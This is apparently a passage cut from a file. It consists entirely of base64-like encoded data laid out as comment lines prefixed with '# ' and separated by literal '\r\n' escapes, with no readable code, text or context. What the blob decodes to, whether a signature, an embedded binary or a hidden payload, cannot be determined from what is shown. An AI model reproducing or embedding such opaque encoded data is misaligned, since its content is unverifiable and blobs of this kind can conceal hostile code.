w0QAxGWxyurElxBYrPqSAmMowHccmjc5f7YVUSteVURWCyMg+xEpna34QOD3no4dCdOKXe1h8Zt4Yhw8I9JCBDdEb1kzJHpttsBl\r\n# GfL755ueHD43gXWoGZl+uEbJoKfaLe1wdcfhZ5GLsB4Ojihu0lYQ/tKBMJRKOaxBMnVvcluF9mceDZCxn5qZ6G/w6z9m7sJIRtJP\r\n# 4IelczEHujRYCwEwIDM5kt3cxMjGWJu473ip0V/d0ruLHIhpFMRYOjKKr1o+sQ+kFJrseIbYiqzccimp+FVIrGPkg9MT0sC3Wb8F\r\n# oOnfG6lZidxV44xvvpeNGoELU8yP8DmjmyXKinvDrits5OZmK3rzvleLV0Kwi2LCJBTta0Renaa9sy6oYXBqLyLZ/aYmjnbf56cL\r\n# Gbbx0seCoebyKw/fzPBYxs5evrGSmFrVYInJzkExPeJRi5QuOPpv/iM0kUpMLz0zxQxgi+dcorpkWOYsWF3UB8gR3gJTXmwh0FPn\r\n# LmHRXXNCCkA0DM5IN0ay3WKnL8Gr/0z/tRR+iUBL0zfWuG3Hp4bSkjxByGCw97epg9aoNMUjVEAEcmUGgzlJlVbKPmdjX9BFaTyy\r\n# h3wYSOKyyUtOhvahqL8MKg9sVjCmctYSStUaLfIfW7MKtsuqguHsM2M5u4PYfPoXO5FgrROGPu9sDxZ/lVHV24EAtchY8ezEASrl\r\n# ELWXwfewzDpxskpKDgXHzc5y/KJ11qfEhtMUhtCqsKCWWZGzIqWeD8PKQIZRvROWVmefeFJRSQoMaK2V9S1rQjWZVykjLXGMRH9q\r\n# 8fC6b3LWYTWds3kNQwb0fZj7Wy0/OVjFIq2G+2yPVWk9OuDXAE44/wn2Fsd75Q3amyYvwzMSAsFbqp9BFBlnQg6GEO6quGsf1iIX\r\n# fS3Qc4gHExnRTrJW41mF9OEh2zs4LauAcoOoTktgn1zfMXTPlGYg9lMx3TmkAgPy5OAglYWnTB4DyfjJOtSGkUfzgeeaIXb+qQNU\r\n# xEfU/Kbl1oUB5BVqQAN4JeO1OeYZP3Xq1Gt1SY6zoa9vzhGup4qxkW553wPF1sQMampGWcu6BTpDwXyLoui+WjhPzdpu4VQtfIzt\r\n# qtxMQoqJqOuyiT8j+J4AbtB6R3ycHSTOZPoZ7kgtUgIYjFtZpfuCTHa91sHkVWoYaXy6b/l/p3LkaK4q3EhYNHH86qCrdlGZxQa+\r\n# Ew0St8u/ZfnUsnw4uOlGVY/De1OCJ+NzQ+km+GEafZvuCEHPG72IPTOeNraCBUw83L4noOucTWOIatHITPoQn5DNB7eHvoyF/ur0\r\n# hcDoI5n/ZeV4VW3OVdlje5UMg4OsHdYhN5g1oYb911vDKCtairDT5Loh2wSp1ilPeNU2s9LGGlLc+wIwU11s5JtxxNY1mENFa7CV\r\n# wsldu8hSrWdv7bxAm2WTxOrMsTTUjJCU0PsIG0whoy2nVbVQF0n0LPCDlWsNGjuuu+sNluFCDR4Xn9xHxtCJMbdbze5R3w9Hi/uy\r\n# YSfLjav3mFAxBmDO+MEei1UCxUEtNbJqnpbSLBWoWdf0LfW282NkIm6UNTvH1RZwKAmvI97oHEf2xdPlwO1iyLkhLB1buaBS08jW\r\n# un/FLYzvpEVem8g6H1dcIrKtRcRqggu91XYYAdn2O9hCEsAjjG9UKOAnGktVsvXfS1y9fHYS9QJ9oWdzLINeF5mftGnnI0nhA0vy\r\n# usAjVu1QyR4V831mmYPg1/rSDDeifOagPU08kuWDYQnf9dVB/FScEmwW7pWNX1QqNEUSv+bfyhfoi5qEeHRVf+hG3Vi+DaFbSfTq\r\n# 0sBKvkH8+1fc14bHF/iTjrt0nTwu5s5k9LdgenRhdecYZgOmr7V0K+oelMh5joucWxwQBm7igEJ/wUsv8XMPpB9oq8KPIt9q6HuI\r\n# edYOqI/jmEWiBg2qv0GWlzKbvK3ar4qFzT6rUsUKg5P2zHCI+LulR2R3lq/RGeZ3ZA41doYhg4vE8oV7zMy8sKHw4QkzLF7bn+R6\r\n# YJog2sWyQwspMlTEamGVrGG0D4alDGAfhIewHNcQiVJfjpDjlHCkVejiwMhCcOFH7owuFILs8a7aETa+ism2x88EULdSGMgh3QxV\r\n# iDM78MZzdsndWYxA8qjKCgbYL1tVwErr5PbzMQTn8QRKNLjUuJksX/u18mUzdU9n7+gW78EhvJnFzOAyrodsuLozebLxVLEeadyK\r\n# LMaKSH/CRosRiJdLpoNQBsgfPb7FbqfoxDQLLn5BoyKjzlm+n4txPwU4I3ajpc+QLvNUss4qdc2i9S1zcz/PhGB6j1FAoxdurd41\r\n# zEPKCE5SyCj7yGRta7HIDELnieWuZHnrUEzSX5YDH8LTOt6iC4TJKCyXbAOS4O2XkRN5Bwv4XctiPdeIgm+w15Zp/FNW66UMrRSP\r\n# TWIoXD4e5oZ6X9WOB0FMEqzhjeX79dWRVHZTf/BHhP37TKOwVFWjols/zrIb8S+4ziW4Lko4n+9wFoLGoDGWQ5iH6ZGFTGbo2iCu\r\n# QgrefKtA1PtPrAiqOn3U95cF5aMsh53AWsKwmjJiKwGBWDrkDbnyAPxW/3JtzvFNm+rN8kEAO6+2zd8VeTimgGfdmgZXoVmFlFVd\r\n# 3h3UmCYfd7rCvfLFt9bTnzmVzcGaBjlQ4bZdwj1y0PmLe59Kcthhwj1bDYg3YrTJwPh2wW2UVod3Dsr6Luxs03jrOu9+BGKXH8Jt\r\n# 64csDOmV2Hg5iyz6REhDUfVANlmn+4ZW3Bd+mmHrYAWiB7RRWxsOUtGIhaxLJqAcZduo71ceqcLUxoX0q9ltVVOFC1PutesV72IU\r\n# ucCFLDEN7IT1ateMUemf33Z7qGaKX8ljXJTezwFhLN7WbfGtR0jVQlprOnXFoGYTMciFG5OmeDMt/Rl/Savf/9piH3pXYOf4PFf2\r\n# Vzj0ZtrXDdcpncmx5MbZgZs9Z7qvyg5HeG2EQezscb00wPuzbM+BdzFXrL3Jt8vyH3yQkhL9FjDg5/sL//GEfkOd//uxo9RpEYPu\r\n# fP4/OUc8s1ekCOzy89E9yoPDm94Ti8amJdUSWh1EJpZ+AogcMLBzSUoBxfjlbLDIZa/9Q3Iyeg9MIF0mHEmFUAcPJzGZuAVTFg8l\r\n# +TYI/tM+1pyzQA1O9/7T3HKXlDrxnn142f/k/VaI+x/+rx/eIM1YYQYCd71Ttll41FU8XZmnEUX1cvkL/4WurZO63RzMzAgENGQM\r\n# +pYdgYpTVFKJ9Z4tVEgE1rA/XUc3n4B6/LKT6SZ5p/jIGcU/jYXZTc46TMAeJvslpVn30SCU7YYAVEZxkupCYq1fVKCJ4K9W2qZA\r\n# YCwwaREzg3vJD1ei8//04/LrL//f1/mqg/o+1/mp4/8Oq1cjO1RsucGHTWUQTH3HHhAoFUi6nDEcd3MGcuAMlWGVtEqAuPXrlaz3\r\n# YeMVrSZxw5GXCgYY1c7JGLT6oaTyDLdpt+3VqJcJUHSu8Qx2Ldd0oGYR6C6W+MOJb5bYZDbJphkvBUU2N8em+MdcWCLnBR7DdS8j\r\n# rGH/ncU2ei9XpxdkMYnw60FHDba2swXIpw8BLzKLmY8PWhv1SzQBZTozL2jQScaiscveKDBh2xQTmw7a1j9Wi29I8FdY4d+SZUVZ\r\n# BzmWrVQtdUzYwjnSweWfD6LOC+Du0rAxsMYfExIVZAmt2wM40mYz32Yb6Xljd2po7VY2VrDOFxJqF0/GvyxHCciXmmxNhAhQCuRX\r\n# nt9AeU0OUhKjKZQ9h/QFGQ5icLVRHswRxM/WgJouhTF/eZsK0s5unNb+5F3morIJ8g4uPQlQjDqquW21dAL3AhlhJoptSIRzkB0S\r\n# vikHlgUAotybq+gmYMUbBXrSz37h15NUQslItKDUDuvv1i1fVlJYafivAiE0QKCw/waeGvi+s6q+DSlShf9wvl58/Lz/UbV21+vf\r\n# i3mn2IBDY7TsFAhmyczRTJUgnjVSXoGxH1bs+HfYd4TcyxxbRgVYZ8g9NJxacp1W00wHUCzrBuSp4O+nao9lUEabIxJ+3eDb4y36\r\n# tyaxMgB2hKWKsEX9ddkdmmMTlrB7o3SlMbRcIWBhD3dAcibfF7h6C7eGR9b61emQdyf5lj2kwL2zq1R7hpdiCsoiBAaquCjH8v+m\r\n# fsAYSQHysbqkvUEHwkFhbhAM0TUNga+8+aTJqeRthvVhay/u1h0qQ+24NDWXOf1qGrd1Dw793S/mpHshQVQ0WlCR8wt1AQMG2vxz\r\n# bvs5dL1yF1GqqbGAHsVulTSeagR0Xeb/udzxcXCXiZ256Q7vJWq431CIwGxIDP69gJNb74bKV46ZSmY671bk87LuX9c9cw7gPM3c\r\n# M01utVScrfKlVPovvtHfwzobjTSOGp1lKOCdh8ZMCw+DWImZMiEAImnxT16hqYLlusZfYMgGpc1ebhmSzqlWr3zTYeM07Lw9qrpW\r\n# X2JfuaJ2d2+xKU7P/xTGPz3HHKAOLzFy72kpYYCEy9ay2+vl+rfZ3cFbbeyxDxAmaXnDB3WzMsgYxiSWdmYFM5sxkB+KiHhigZg0\r\n# MRopDhl3EVNsDA2c9UsGxTZazv8nqiIFoqmkWigWJJAfWpuSVQ2SpHXkDNwhsbcugLruZLARb6rRirfiBnHaqvfO3/KThxCTlbXM\r\n# s9lL2iyywumZVLh7XWqiK9OxcFT9gu5W9v+vMrkYr38/CjU+I8RXuXNWSodWUfGTV40YhmnLe5NviPemH0cyqYWSK1ZBZ40HY0MD\r\n# HkNcvn+06SHsms2FH32k/aNQtAeawithXHEHE78LDCS0dP1Nc8CysbUxCbyiHLMPy6kHMsYqfRw2DycSNqRSqo1wpszQPIOSdn4i\r\n# frxaooVwNNCXPT74KAV0ufJgRkKB49UUCHNMDEUy0Dx04UPuVynfUMByr3IOV4eITNgABDeJhpL6vTmKcNnqvLkHCzy4tZdmYtZl\r\n# YM278+BpV0ckpg1xDdu5pmR/2Nex/vDhswb+7QLhAZVk0MW6hcFY4wxlR6TbGtPectUUM3e0BOSWzNRKkpaaARtnz7xAjo3m/zG7\r\n# QK/naFtrkywdwuE5LR3yri8PR3hZ0y7yuFq/hg/kdvL+Casxzq7AFWxnV6xr4i3G/fg/Pz0xpETVWZhtSSh+ObctYJkWTGGk8oib\r\n# 9kYzagib83xexvrGIGQ1Mo4x1WDtW3iCCa+VFLNafLsezc71hIMyxAJBZC24Ac1Fh87CiLM22lAZIGSOhlpS4kbP8fDntJa1RCuX\r\n# ndsWcp7o5EsHR3DpCywlAI7s7VgHNl72R4Dkkdx0IoUZiIKy1td55yga2b9yF3l2tiVTelDewlaVBCjyYPDzkbJ2rLJ281Rd4a2I\r\n# k/gXLKqtTEBq+qi4VZh99Wam5WkBJuItpLZrFxv2sMiftmqL2e1yF0/z3RbQuw5eezw6sNxDcg23TXAjnz58Q+oXjx1weOdqFCQh\r\n# SIcJic8j05ht/kVXB+HjKNibVjsjezRm4y23lZsSLbMo1lMqHotnLQgDP7x9pWAM2rYoQLq2Ky+pPuZ7kUwVdF3LfbwML0Y8m/mi\r\n# 1Ph3YxsgBmDerjTAmkoDF+wVLIj7AYl29OXwa7BhHp7WQpbrGZWRCP0VCejC4pLiC3FQxgbxA3RI4DkmfBAj0Gi6j41mkPeZgHiM\r\n# Fum8c9Qlkr71A6P6BkLr3jy6rcyzKj9fvZHz+VCPh4qBaut1M4Lka3QeoQKZqwWJkESr6gS9xPyNgVyjyvZsXPBfU6txgsl9nD4K\r\n# DmbbXvp/ZfDLLSVDahF/5q3xlPZ1vDd89+sw3bVfosN0yreHkApRM+cVxrq4GzH3xo87LRIYJYzHLj1uiiM5PqIaz9RGiZHo1HhY\r\n# i21an6SmCJV5HSZ11bNZ8dhDKvtnb/rx6lS799zjvfKCztJaft9buSGMwtf2k5mVcc+kxpxaXzzsk9UuA8ayCY8BDmHkATgU8QcA\r\n# uBknZ043nrbADrcigfMgaNBBBuQq/IDy8buEMBFt6ULy2uViOI7bGjFURRm8FENIapgMyazU2qOp1k6xeV+nndYOAXlcoqOPCq1R\r\n# T+jOknI2CRj0rfLynfC3omhbonZxfUzN3uf2/KfJvaJNrw78r8w5ZCsc4oAHhSLeg25epb2/Lcqx0Y30JuhbKeroOF9d1mFFfedd\r\n# eURnwZLrN19Fe8mhBW0UqYwSMpzLbDTzzr4dTvmkj9XoC63mpCkLJRNlSzr8geW0wwclraxNdybac2sJinWOTA5SCOMJ4Oh32eo+\r\n# aYw5Xp/WTXfUAplbTi/1aYjb8f+reLjbuK8sTu6Qo69OWKdqtdrttU2173G5bMlkkJcotd7tYLFJl88usomRPe4YuVhXJalWxylV\r\n# FUfJ0Y6Vez8TqzPQ2kH4YYHaBRtJIeoFdYANsgDzsQ2OxD3lIgADZh33ohw4yDxOgk2iTmXzObOf8zjn3619/SpRtZRERunXvuR/\r\n# /+3Huueeee+658rZUArjqX0J170RwwiSQE6rpSk1hQ2wTUHlAjrEBtgLYElihxcHFbkdtlnT1aatdUatkoA0wM77Q2tOrdWLuUSR\r\n# Ds9bkoCOFqlQCuFa21HJ1m3dXrK0Fd2h7a6w+Bc/FyfaKS8Hhsm02/FFDWcdjqWctFANUKm/h1rV/8FrC87I4acg+Yu3i5OPJTSB\r\n# lmK1v8ulKr3GLFRskoa3QPF+bqFfFtoiFRqMv5vEXdxu9OtTZZeqE45gepfherka29MN8aREul+2lTIwdGbfLr3WthFPIjuCtXAy\r\n# 2m0bZJgtMNiIhRA3IMoR7W7b01LXh3j7jmQp/h3dej/c9r6L0p+h8kjuRxe2EE+pDwStDHW84dz66huzEUv7DsVxvpVvbrbaiLwo\r\n# owfj0AR07wBGJhvUB49S+3VHY9UjGd0km2SeZ1E7JJHolk+iWYEDsfW08W8JeZRisfQxuQwjqBjs6/9KpDwUbBFrRaA5rsUqU9XO\r\n# MkVFMtsu7bFcPReNkXeIjNgcJygv4OykzzhIqgcWQOJ17jJZDAbLpe68yAB4id5N0z5cAxSWz3kPfISR/xW8bYkDYD8GWIQbMy6W\r\n# LmVu+suILtgNElZJp2LZrSh7AeQnWJx18Cv/IYPACbnD2L3ao1Wf7UW7MJbrRJ5UYDa/q83GssREtgn1Q3YslwVEJ8SrZD06UES5\r\n# Vcre8aD3MfIjXRkpD5jut3bY1yhFARAYvHWSPsbCkhKC8nSMShOkUfXHTW80We80BANMeCx8HimFAkvrwvD3H7g9ZqyjFKIl+ywP\r\n# iw25fBELAErtqC5PFBnktwvGoh7bKAxQPg7rTDiDFOH0CmR3ZTiC0Y4kDpI7PmQWxLcwit0fpeK4K3LH7CUoh6GpDAYb3kxyfLIk\r\n# 1mX60yfThjW/vzT6wIEz8SbeJK/ZBkqjkFkWLMTZfDEiglfucQ5N+iKKXq0ecNIlmKXoVcZEJdIuHsF+EH8erOfB4y+JQNRpCB3D\r\n# 2e4LLb334ktkHnMQwu/Iybd/pbdd6dVX2SQFFi1+cOJB+AZF4VXeyFw+yq7QHtprvqHo63w8MI4INWbROh0Tf7vd59Yoi+GINoXh\r\n# 2p3o/qD1cdQ3S5b8flNZ6TRwtovVaN6xIIiJe5CNwyno8cyuhJcTQcO+bAKaUIVUJHiSPyg8CHqfTmhFH2GU4BRxPj2SFk8CU1P0\r\n# V9nFUYR9wdCvvMUr2vkuKaw2qT2BpJgUck+a+HCng8NRa8bEvW/pcyKfPBqky47l/EMsaCrG6CVbcHOpCRQoMojDVB3MsdWBOl69\r\n# e9kO16JCVtrCZW24b3VeZ+OaozxHDoyx4qDlKq4AokdW/6ItI2mtDAR4WHfJFR21x0+KeiivrMuzTCo1fkVoHqVeidiQUSRJpU9q\r\n# nsb4xQXIPjBP3a27F8f4cAlfI65V6/7AV7xMX5OvvquL9Ii0SSzvDWWEbXuwHBTvArr3n7BTYQsTsQ+Gs0yGqdfs+5nXjJEy97yA\r\n# pCd1jNyvVDRj87LEMrJsEIMXsxlacIgIgBUiI1NS/IWHDiBdNXLsF7fZBtvTSqHsPwwUQI+SQ+0UrEEO4Ffwos5Rt/YCLjMq2VYx\r\n# xpMGo0e7iAY1v4n0mb7Oq1SSaqPzMlXJ3m+9BOB1gvcHSxW2IMXP5PIqAP4PQvFi2kpdAAJ2K0oT+cW7Hu7VbzhiFvIqHKXBeH8g\r\n# zi7RKs7XDy99prosN/satcZsjh/MYsZ12Xm92nC/4718uicXM7/BNPcWPtLxBnvO8CXtQogeUl6wL7Gu4ukRddNCW2C7Ca5gPbE7\r\n# a5+MC4jpcvrZNQyvjc9CeFez8XFVxeRO1KNaQTdFEAsQh30oFjF8ELMCJjLkMGyfXtomN1xwIq9dZ5UyGlzv6ErX9yvV6OywDYfW\r\n# ydjP8k5cQXGjBEo6Cpsb5gy25B8z3hMb6IJyGd2Az3IYLUwkAhbJbW53aFu3XEL44Id+Vl+U1xWJ9Z7F8E+RaJlECMH2xP5EArK9\r\n# 88+FG+vONcd/oMn3pUh45FQsasE/MxL4xk/uXNsZU6D6xmfvGTmHIZuvcsHJHMG1sGkW+03I9aL3jOng+6uEmMy0gH58vcBFEaC+\r\n# XiBS+XlLM/E7c65f5bpo80sC0djwipRMP/e21L0xJ1tJJiTwVoBeSuK4Tmc9VuwuTX7R2KOFzEdv7XwXPNTp43OJz1e6AJce1/v1\r\n# ap8UH4+4tInn+F/ooxnr4zIwf8OEXxb6Ulqq4873dWof550fQ5P5PPIIRW+vVG3VYcTw/y9cMwWc+grakf+aRt0fIwiNvj/1M3B7\r\n# mHPVCdrgcT0ShySg09aXNQ3DQj2YeSskJ2rZVS7yXw6SYlwd/9zflTbGHWhzuXzUVGVqTG4+g8X1fSHRCMJAXotDFKDQdhS7F/Pu\r\n# X1BnOKIe9M/kIuiPlG4kOme8zWvYljreg2yMc7uQHUlDePxPDy3mS8x4fj4OZODjxpc12bxC+tfNoZn38hUdAuR02eWNtjxJnw6+\r\n# kDGxAxS5c+rIw1n48MvbwCBuZ+M6jYfi83ZZHg3hh+X37psAGh+5A+mDjF2QjZY1f+B2oo05fIlGiClsboI+iM2zZiY44X4kkTWF\r\n# wXPmQpd1GQ00UlTu95U2dz/ysxlZo6Mgy0t00IFLiQrl9p54fAGGj+XySpfEBoJsEQBoJYxb+5T7HuWOI+FEm1OzCJN8jioEMKrY\r\n# b/DzDYq2zZd/UsY9Xa9BWc/UG32GRx2aspWAHwGUzXCwz4UjhtQaxFKYGjeW0lA+DSi0UemFSz3qQba00Nx1Isd3xV6u9zjZgcae\r\n# 02KjV2pSZ913Bo29iXBUpb4qAGf7CTs3mY/nm8qYRIw14g4elsSKUMUVrJQ3SFv+KijVlHDxWiXc1yjqiWMnUFJa9aCIiFAgbRYM\r\n# ft3+7/NwacGa545+CptH2zwfB40REcvBoz/FpTu16fWUDSc+eCKKdXFUsu7ZgkUSvSjVYtoPH1WJDtIZXy1WKp76nHPYttpaNz/O\r\n# r2+417cJOpaPKFbttVuy1z5Oa2ZqNmhft4mv1nYmMvMXXd6ggWGFLlX4s7Nxgdn4W06bT2u3Ou9fqeHjl5kp06aVUa7ZZl2Optse\r\n# 6rKJzED24IBdat0Tk26WiRICgnvEL6iHk4aWp/H3dXdAGt8UmjLUO8qiF2LeyDyLJe5g0keW5QrY8gZPfzvLmSn1nxxldcq+iqmY\r\n# jfVMMjpFHnxrnJlJtxKz8Xp2Go9HaYVwv7m70OmVviw/Pg4lSDZOc3YrrUZbp6FvRoreoIv+rtc6GmGDiDlpq4QJQa49B4i32bmn\r\n# rVmtV7j8qYaeKx7ZZ5zEtRgY3LUbvNzKZQyKiuI3WlilXq+t6JxAvWdUqtTreeQVYkoVQJsM36p3WDrDKPY8jZwasBLC70RViwc0\r\n# gVhLmddzYS1NZd03Mf+mbPYYf8LYah2WhPgzjOjiQ0vOgD+zVnpt1WEip40UN1oYXqmlWeh0aV64RjXNI+NYKOcIXmkisrr5q7d8\r\n# Vy5us/uGP5q6sUvmJyUMb+taeV+lvda6sQrmKX7FgjTBCO/9yfamFe+6gCrRM88ldoTtbvtWob233iuUbsJELIExVt3b1BAkmert\r\n# h9bM0w+SOXnr/KxEL6JJ0sdQJowH7jNktpQY0Xdq0KtdCv8qL+PNi192+4yUtKtmHjZc7VZCYAq3YIERdTJU1PA8FekF1ok/M1CE\r\n# 0Fd1kMWcmuqboSEvn9YKSvf3knrxKEERYRFRqad6llSXbsO8ez6+peTM2GCaTKSRg2Y1uq4HnIljZDJTgipzDGWdAjshqr8PEwEb\r\n# RMLiaCK2AwWY14hZikD/YVwrKlw3lpJRaZ5+hwdiu9SpEp6n/0VYm7NSQ0naNGJ/azZq5znfxJzLnq8SztLvldp19N0TTiP3VDRq\r\n# 5LfY2Yd69VmN/a+P7po2ljF9iII9Yk6cmlTtbXX7Jkkq/ZeJTaKwLt9o9Jr75HfbXqnjqgS3hKQRhGn/T1uXh3Uobhl32Wh2WPYZ\r\n# h/ijbIoIN0o1yt+YM61Aq+gybrtFMGuQ8FGSsrFRwemJTBCBOVd3TRz+zQla3lYQ32uEjWRQSm+nVPdYEbbT1Uvwmz0Se4QkYtDQ\r\n# JzQlsC9mUN6W57vztTVxf7uFr1T1n+b+hEr3A+iZ9FHy7fplnnq+Yf7uxusckEESD7w3akghxNqT27XIPbBuNIS8WIKo3zS2Dpau\r\n# jixsVU+tWiEkDnW1JXzTFcF/FPu/ckeWQsGAcTgbOBJxJUzY15nBqcrwgh2lE1DZp2tEcIjK/SXUzxNLQl/i74tLAubR1sFVNXpi\r\n# bvCjjRTpmAcSGSiU2elkt4zJpbQdUqc5UY7He5QN1RJlqD5+8QcVQiBdI+nUotGnp2RbYCfqQ6cgzEhWZh1kiMXUMEYh5j23GRSC\r\n# qi70LbvcYXJxPamea2RBMYVty1A8bDnFufGx69qWtiugEyQBqgMe9qrJ3VK1RB6FtU4Wb3VrFWjMosz0I5OSZoonZXj1XxtRvoum\r\n# zNLN7Fi+aZbxpJ4hXd7q2GyH+dmofs2Gb+o5MAa6NDWAgA7ALcb/KiKBUVJFwrtmWIKdt4snLZhW7ig1fAtsZtu1lPd0m3nq6tl2\r\n# nnhSM3eW3pPGQJqxA1aVI090wbbNDCFarjutvxnSkt4VubbTRNjGjWuVjf6B4UxQbsc6gzl18u+eq22hvq8Jio13ZWOJijQc5vKv\r\n# u6WrWaFutrh7upDTValdLlD0XvFfLqrvLQh1+yA4pxKcJyjLRV+WZu2a5jRT0o9F4DLsL4rBXbly3CENjwH24yQYWa+CgCV16Miq\r\n# Y1Hhsq2JfYglNwtZqFd7dbKEa7q0UMbqqv0RXgE7AfNNVK3F1Vr0p8xaMXRkpKDjUhSXdYVxku2d6K7nVqRMLZvi+GNeWfTRkm+4\r\n# ZecxBygtVQUMLEk+sbUYK6Xq1WBxRysXyzXoT70V9UoNZ9xhCWyeQaVeOFqAkn4gwnr3j8dC8HoCs1b2IwpdaMJtJ5LIHU0KY4jt\r\n# iRYCZM6kif6vevdbaow1H10OoV3SmtHlHatrE3YrPv5tW9X5ZKatEcjg/r+VYf4ltsAtvW7VumvpQ+3bHDuGqpZ/N0Fx0hUZn299\r\n# Oq9Z6bKTO4HGXltnmtzjqO5XGbrU2CzLVxkKDKQ7WuCdEwiZQYxq3OOEGLe7fp+VOd4rELlSU1vq7ExW8qin2cr1X45gxqxPBJnQ\r\n# m4ql2NGmGbHdNrYe5LI9BtStZ8CGYUIYNLmKjxB6eI/VGg3ZVuAqL+a67BKZvNyxvW5E7ssz+t1RFX2F5Yp065T27L67WGtxH5NJ\r\n# AYszDgfcksLAjox9gQqnF4oZupwKoRPflNSA8ijhMSYRH79jlQtZ+u2rp6qI8QGVDVxVOJHEWwhsh7FK5fP6UVpBQRelYix/vocY\r\n# a4v57TCS4m7ZlBSG84r02/RKHb+rVm0wgZ8UAbbNdrFWYbKPT8ZvtqkgHBeniCC4SVF7IEj7Q6iolLOzgFUAo6jAaIpXZwYLT3SN\r\n# MgJklDvqZSNOJnzStU8+2wYtwZm5pkKgnd3A2+OWqelOqSrhWq1wPXtujNuE/kyvbSA6gpZu7DbmlAk+xU3F+4hh7Emj2ZPnhZYP\r\n# yFuuw9c7TcLfTIN5e1QY362ponbN1Gche+z2BswYfv6lN21pqGkwJuFewaqI0zb+3DD/aBxYNRt14dK0Yseuv11RFoMQlMqDeLd6\r\n# yyo2CKODnoQtC5Fc3NzRpt3gLaG7ItmoDln4rUg0eQHmURiYlkMTIbQVTbVV4et4gck/Tt9zYIiLf24aeJnd8d7dpIO6o0soluln\r\n# MFwoy8iRlnyweDVgYNjK4XU7HAkveFqkdUFuHit6B6JoudKXpp9GiwG63xrcgum02/AyVa972U/qGeADC9rkCjXZQOOVN4OFPKjJ\r\n# tCImubvDig3GW3azQU1niK3KYayqVPez6tlVmVLMbeeoE5nTzAWCHycCWWNbpBjbb2yxNMkKpeesyW4PkFDtDGbbgzerdhrMc3pU\r\n# 3rQUFhBYa3QWYtvsyJbe0w/IRQv0pHJr43bR7koo1ZF7bFhGT3h7kVxw7yk5ygrZKZC0XVI+C3LlaZk1IedW2SxqkBpDMtj5Z3bE\r\n# t0ycjxS5w12fT7mhKjXU/SYw07Ryw6lvmHHuXGTYbRstbp9yBfjoxoFR5zwDaPmmWb9pb4c4eky2nGRq2bS83/Dvo1JN7LtBqVAs\r\n# Lijxtt1HZCx7dpfFAiEmFvQRc3ROlfl7inB0Q6tTF2SzxCd56UNu+mN2RB7Z37RO8NMh48rdiahAlXVmVX+bfG4Jl7YXWVnGvTrs\r\n# j/nRbXzFgJOKy2vKwjcS6d0ja9o404z1VlEVVtLf1tnE5B/hfv6Y2bNsDFo3oHVEs+4oa+KRA6oT8svHycj3d8e6yLUNfZHj1tGq\r\n# fq5Z9U9t1+R7EamphlP3uYWtrCbJS2b5C2zZpbhjofuLhkCH1aopq1T2749osdInlIG4QdoDaG2rgkXz8ZAmB2va6hM690nZd3+U\r\n# huqAGQyv2RWxMPu+VDm5X9/zVjPZ2LGlpu5ndtu87tjfYHEFdDDjs0uK2Udzt8lSpmj3d0W0uA+Eolz9wd0XQSrUBWUDrer1mKQf\r\n# NJmxm6ixG4JWOfll6QwyydPjyrp6AtOV0pEKMEpXJxq7bHKDdQ1e8czXRdWcmkbq20uqAAu/u6EkSTxN5K1yu8tfklr5hk/+MBO2\r\n# 2ve2z4Z86o9kR2I+m0pUgEUfL7+AK/6mVULJHfAih7y1LN0B5Lc4ze1CwD+kQXLmldju0Eta2UxF9L4gmSOUQSpGJf2rB2087tKW\r\n# jNYUvl3W2MJgM1XBXAeytEDcnduDq9SpxPUp4NUlXerkN/qXUAkQB3tq5rTwqOUcMzK1SZ1eEEPLcNuouno2obZ64WRLVxK52A20\r\n# u2I0qVQ+/QqY3CguYFu8s5iyJ6rr+0QeiZRzgabcFaTbwAEW3t3iLJwSxIG1FIzSQyJG0h/fobe22tlgpJ4rOkRsFfekVk3p5BwS\r\n# r7d98kPyompASGhdBtXAsTUXYYznUaVcCscaOW0Ww4WuzW9nQTXa7QqXrUWlFftr25QI0kdvUbhIHT4NsjcjaAttx0yW1VNd9VBD\r\n# DSRGb9vloTi2rLIrhrtRu07ncLii9bi9C2NJebfGBy1VaTFb3rLfplzA0TJZoEB9iyxQR5UeeAN5lEZ2ew7RVi1g+W603iZy39mY\r\n# IEzDP2soCtcMnz3brKilpl2geQ45NtefzdEWG9oZo+bXbSubKlY9360LSBMd6+t4u95KAKvRtyskn6F0wkPVKnXenoQe7Htp31AW\r\n# jaWrqPsX7up+op2XpKbOFbSJAmEWqsoaJoWyaeJQeibGNtq6jlW0hrMIdOjohQhls2gghIAY37RvWt13f2r5G1JAKQz8mvBYBbCo\r\n# nAnYpxZYD1RYHFrqOo9Ys5LCDId3MvVfdE1a7LU/67tT2PNPCDcPWlaXChEpdNovaQWJaQuWW7Waw/HleAWtQ5fo7hRLT6g1MqL1\r\n# 36r3lNnXohjxM3ipXvSHXntIFWi+qrIzg6L8uh6ZTr+sqR5+XNxLBaaoZnwp3se1qdK19qJNQwnkrmP+967aWPIHs6tUtofzsDWK\r\n# BWS7QqW1ZrnPLimlo2bdS0/Z2dLGwLZZj2p7BtvNPEAd4ImyZnWlYhAJ/4E3yiCWit/gF01GVfYgTWAVKK+02W3RVTsx9ngnkNZY\r\n# MWoUNi7l9gKAWXoxoKWAEkcVaJzX2o64acf26cUK77veUJ6pbJtsSuu4n1lyPhdyIbHe1IZNpO1pc2bbVaXQhSqaB3m51ewmRmXB\r\n# Oe584arr3yZwVcJDfjq4vbdvdC8SWTtWFGJM78iE9ZqlZXhPHd6AcbE+juocTXxXfbzDnULfyDeKj6nxMCx99e1ZFmu3uJ/gi+4n\r\n# D5EmKTmW0t3XZFnq3q0+g7jYgQWkLtKMraxcUnKZzxYV7tFfGvRMm37xB/MSuwr3r7vFIXTWUV6GusGnagZcwULzabsrPdwVoRar\r\n# yY8NNebkewTl0P22CKRHzKmJrjDuId+jUs5QsWCXtFG5W5yxz0KzyyZZ4qd76ehTVTn1t76vuYYNB3eZIaTugr+izao2XPaJ4VFV\r\n# pQZPrxyVjRZWS2df2PpQCKb72QrOqwqNbsyxCpy5Fj3frUBqiVfE68iq6UqB3ndc86hla41tNtwsyzQ36roo/K9viaTsPYdhKY5e\r\n# t/lBVNxg7ZXFkTOHvI5/zt0M/bxksaYuLApupSka62FIpEYD4lBrOCMkzL55Os8oPB7hej0I0NNS/RXk7lcb8OtNoFTzoBOhV5aU\r\n# aQY9eNYF3HVXe4+EGGsbhrTa+wAH6DDcPfouF8vI4DeS7tMabPeGzm3Wqia5/fmfhxUUWAvwIw2Chg3AQra9cM38pi6ZLtdra00T\r\n# elyOcbzIlxe9Kp94sd25BCFqp7BEd2TM1u9EnOtjNtTod+5j8pjM1c8M9E19x6n0cLPvNtIgjeKPTpKY2WQLEwSov6bWGHO1B8CR\r\n# 